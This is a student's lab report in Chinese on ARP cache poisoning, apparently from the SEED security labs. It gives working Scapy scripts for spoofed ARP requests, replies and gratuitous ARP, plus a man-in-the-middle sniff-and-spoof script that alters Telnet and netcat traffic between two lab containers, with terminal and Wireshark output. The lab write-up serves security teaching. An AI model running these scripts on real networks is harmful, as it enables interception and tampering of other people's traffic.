## 57118231 向颖

## Task1

### 1.A

攻击代码

```python
#!/usr/bin/env python3
from scapy.all import *
E = Ether()
A = ARP()

A.op=1
A.psrc='10.9.0.6'
A.hwrc='02:42:0a:09:00:69'
A.pdst='10.9.0.5'

pkt = E/A
sendp(pkt, iface='eth0')
```

攻击效果

```
root@aafac399b5ad:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
root@aafac399b5ad:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
root@aafac399b5ad:/#
```

### 1.B

攻击代码将 op 改为 2

不在缓存中的情况:

```
root@aafac399b5ad:/# ip neigh flush dev eth0
root@aafac399b5ad:/# arp -n
root@aafac399b5ad:/#
```

攻击效果

```
root@aafac399b5ad:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
```

攻击不成功

在缓存中的情况:

攻击效果

```
root@aafac399b5ad:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0
root@aafac399b5ad:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
```

攻击成功

### 1.C

攻击代码

```python
#!/usr/bin/env python3
from scapy.all import *
E = Ether()
A = ARP()

A.op=1
A.psrc='10.9.0.6'
A.hwsrc='02:42:0a:09:00:69'
A.hwdst='ff:ff:ff:ff:ff:ff'
A.pdst='10.9.0.6'
E.dst='ff:ff:ff:ff:ff:ff'

pkt = E/A
sendp(pkt, iface='eth0')
```

不在缓存中的情况

```
root@aafac399b5ad:/# arp -n
root@aafac399b5ad:/# arp -n
```

攻击不成功，因为本来就没有对应 arp 项所以 arp 更新报文没有用

在缓存中的情况

```
root@aafac399b5ad:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0
root@aafac399b5ad:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
```

攻击成功

## Task2

对 B 的攻击代码就是将 psrc 和 pdst 交换。

关闭 M 的 ip 转发后 AB 之间无法 ping 通，如图

```
root@3598075f2700:/# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
^C
--- 10.9.0.5 ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 3081ms

root@3598075f2700:/#
```

```
root@aafac399b5ad:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
^C
--- 10.9.0.6 ping statistics ---
6 packets transmitted, 0 received, 100% packet loss, time 5115ms

root@aafac399b5ad:/#
```

开启 M 的 ip 转发后如图

```
root@aafac399b5ad:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=63 time=0.431 ms
From 10.9.0.105: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=2 ttl=63 time=0.188 ms
From 10.9.0.105: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=3 ttl=63 time=0.197 ms
From 10.9.0.105: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=4 ttl=63 time=0.246 ms
^C
```

```
root@3598075f2700:/# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1 ttl=63 time=0.186 ms
From 10.9.0.105: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.5)
64 bytes from 10.9.0.5: icmp_seq=2 ttl=63 time=0.203 ms
From 10.9.0.105: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.5)
64 bytes from 10.9.0.5: icmp_seq=3 ttl=63 time=0.278 ms
From 10.9.0.105: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.5)
64 bytes from 10.9.0.5: icmp_seq=4 ttl=63 time=0.289 ms
From 10.9.0.105: icmp_seq=5 Redirect Host(New nexthop: 10.9.0.5)
64 bytes from 10.9.0.5: icmp_seq=5 ttl=63 time=0.192 ms
^C
```

攻击成功，Icmp 报文发到了 M 上

开启 M 的 ip 转发功能, A 通过 Telnet 连接 B, 然后关闭 M 的 ip 转发功能, 执行 sniff&spoof, 代码如下

```python
#!/usr/bin/env python3
from scapy.all import *
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
def spoof_pkt(pkt):
        print(pkt[IP].src)
        print(pkt[IP].dst)
        if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:

                newpkt = IP(bytes(pkt[IP]))
                del(newpkt.chksum)
                del(newpkt[TCP].payload)
                del(newpkt[TCP].chksum)

                if pkt[TCP].payload:
                        print('lkhnb')
                        data = pkt[TCP].payload.load # The original payload data
                        newdata = data.replace(b'a',b'A')
                        send(newpkt/newdata)
                else:
                        print('lkhwd')
                        send(newpkt)

        elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:

                newpkt = IP(bytes(pkt[IP]))
                del(newpkt.chksum)
                del(newpkt[TCP].chksum)
                send(newpkt)
f = 'tcp and ((ether src 02:42:0a:09:00:05) or (ether src 02:42:0a:09:00:06))'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

攻击效果如下，在 A 主机中输入的 a 都变成了 A

```
Last login: Thu Jul 15 10:26:32 UTC 2021 from A-10.9.0.5.net-10.9.0.0 on pts/2
seed@3598075f2700:~$ AA
```

在 wireshark 中更清楚的看到从 A 主机发出的报文中数据字段为 a，而收到的报文中变成 A

| | | | | | |
|---|---|---|---|---|---|
| 219 | 2021-07-15 07:16:26.972970650 | 10.9.0.5 | 10.9.0.6 | TCP | 66 [TCP Keep-Alive AC |
| 220 | 2021-07-15 07:16:30.106338553 | 10.9.0.5 | 10.9.0.6 | TELNET | 67 Telnet Data ... |
| 221 | 2021-07-15 07:16:30.136439849 | 10.9.0.5 | 10.9.0.6 | TCP | 67 [TCP Keep-Alive] 3 |
| 222 | 2021-07-15 07:16:30.136641159 | 10.9.0.6 | 10.9.0.5 | TCP | 66 23 → 35210 [ACK] S |
| 223 | 2021-07-15 07:16:30.137683667 | 10.9.0.6 | 10.9.0.5 | TELNET | 67 Telnet Data ... |
| 224 | 2021-07-15 07:16:30.179550855 | 10.9.0.6 | 10.9.0.5 | TCP | 66 [TCP Keep-Alive] 2 |
| 225 | 2021-07-15 07:16:30.224370003 | 10.9.0.6 | 10.9.0.5 | TCP | 67 [TCP Keep-Alive] 2 |
| 226 | 2021-07-15 07:16:30.224437404 | 10.9.0.5 | 10.9.0.6 | TCP | 66 35210 → 23 [ACK] S |
| 227 | 2021-07-15 07:16:30.264255765 | 10.9.0.5 | 10.9.0.6 | TCP | 66 [TCP Keep-Alive AC |

```
▸ Frame 220: 67 bytes on wire (536 bits), 67 bytes captured (536 bits) on interface br-1c962268bd4b, id 0
▸ Ethernet II, Src: 02:42:0a:09:00:05 (02:42:0a:09:00:05), Dst: 02:42:0a:09:00:69 (02:42:0a:09:00:69)
▸ Internet Protocol Version 4, Src: 10.9.0.5, Dst: 10.9.0.6
▸ Transmission Control Protocol, Src Port: 35210, Dst Port: 23, Seq: 1794661511, Ack: 1824254576, Len: 1
▾ Telnet
    Data: a
```

| o. | Time | Source | Destination | Protocol | Length | Info |
|---|---|---|---|---|---|---|
| 217 | 2021-07-15 07:16:26.917038733 | 10.9.0.6 | 10.9.0.5 | TCP | 67 | [TCP Keep-Alive] |
| 218 | 2021-07-15 07:16:26.917248630 | 10.9.0.5 | 10.9.0.6 | TCP | 66 | 35210 → 23 [ACK] |
| 219 | 2021-07-15 07:16:26.972970650 | 10.9.0.5 | 10.9.0.6 | TCP | 66 | [TCP Keep-Alive |
| 220 | 2021-07-15 07:16:30.106338553 | 10.9.0.5 | 10.9.0.6 | TELNET | 67 | Telnet Data ... |
| 221 | 2021-07-15 07:16:30.136439849 | 10.9.0.5 | 10.9.0.6 | TCP | 67 | [TCP Keep-Alive] |
| 222 | 2021-07-15 07:16:30.136641159 | 10.9.0.6 | 10.9.0.5 | TCP | 66 | 23 → 35210 [ACK] |
| 223 | 2021-07-15 07:16:30.137683667 | 10.9.0.6 | 10.9.0.5 | TELNET | 67 | Telnet Data ... |
| 224 | 2021-07-15 07:16:30.179550855 | 10.9.0.6 | 10.9.0.5 | TCP | 66 | [TCP Keep-Alive] |
| 225 | 2021-07-15 07:16:30.224370003 | 10.9.0.6 | 10.9.0.5 | TCP | 67 | [TCP Keep-Alive] |
| 226 | 2021-07-15 07:16:30.224437404 | 10.9.0.5 | 10.9.0.6 | TCP | 66 | 35210 → 23 [ACK] |
| 227 | 2021-07-15 07:16:30.264255765 | 10.9.0.5 | 10.9.0.6 | TCP | 66 | [TCP Keep-Alive |

```
Frame 223: 67 bytes on wire (536 bits), 67 bytes captured (536 bits) on interface br-1c962268bd4b, id 0
Ethernet II, Src: 02:42:0a:09:00:06 (02:42:0a:09:00:06), Dst: 02:42:0a:09:00:69 (02:42:0a:09:00:69)
Internet Protocol Version 4, Src: 10.9.0.6, Dst: 10.9.0.5
Transmission Control Protocol, Src Port: 23, Dst Port: 35210, Seq: 1824254576, Ack: 1794661512, Len: 1
Telnet
  Data: A
```

## Task3

准备工作同 task2，建立 nc 连接后关闭主机 M 的转发功能，执行攻击代码，替换部分如下

```
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)

if pkt[TCP].payload:
        print('lkhnb')
        data = pkt[TCP].payload.load # The original payload data
        newdata = data.replace(b'aaa',b'AAA')
        send(newpkt/newdata)
else:
        print('lkhwd')
        send(newpkt)
```

但在实验过程中发现一旦 nc 连接上之后主机 AB 会不定期且较为频繁地广播 arp 请求询问对方 ip 对应的 MAC，然后 arp 缓存就会被纠正，因此要将先前的 arp 重定向攻击代码循环执行，如图

```
def AtoB():
        E=Ether(src='02:42:0a:09:00:69',dst='ff:ff:ff:ff:ff:ff')
        A=ARP(op=1,psrc='10.9.0.6',hwsrc='02:42:0a:09:00:69',pdst='10.9.0.5')
        pkt=E/A
        sendp(pkt)
def BtoA():
        E=Ether(src='02:42:0a:09:00:69',dst='ff:ff:ff:ff:ff:ff')
        A=ARP(op=1,psrc='10.9.0.5',hwsrc='02:42:0a:09:00:69',pdst='10.9.0.6')
        pkt=E/A
        sendp(pkt)
while(1):
        AtoB()
        BtoA()
        time.sleep(3)

```

攻击效果如下，可以看到在 A 主机输入 aaa 在 B 主机显示的是 AAA，攻击成功

```
root@aafac399b5ad:/# nc 10.9.0.6 9090
aaa
```

```
root@3598075f2700:/# nc -lp 9090
AAA
```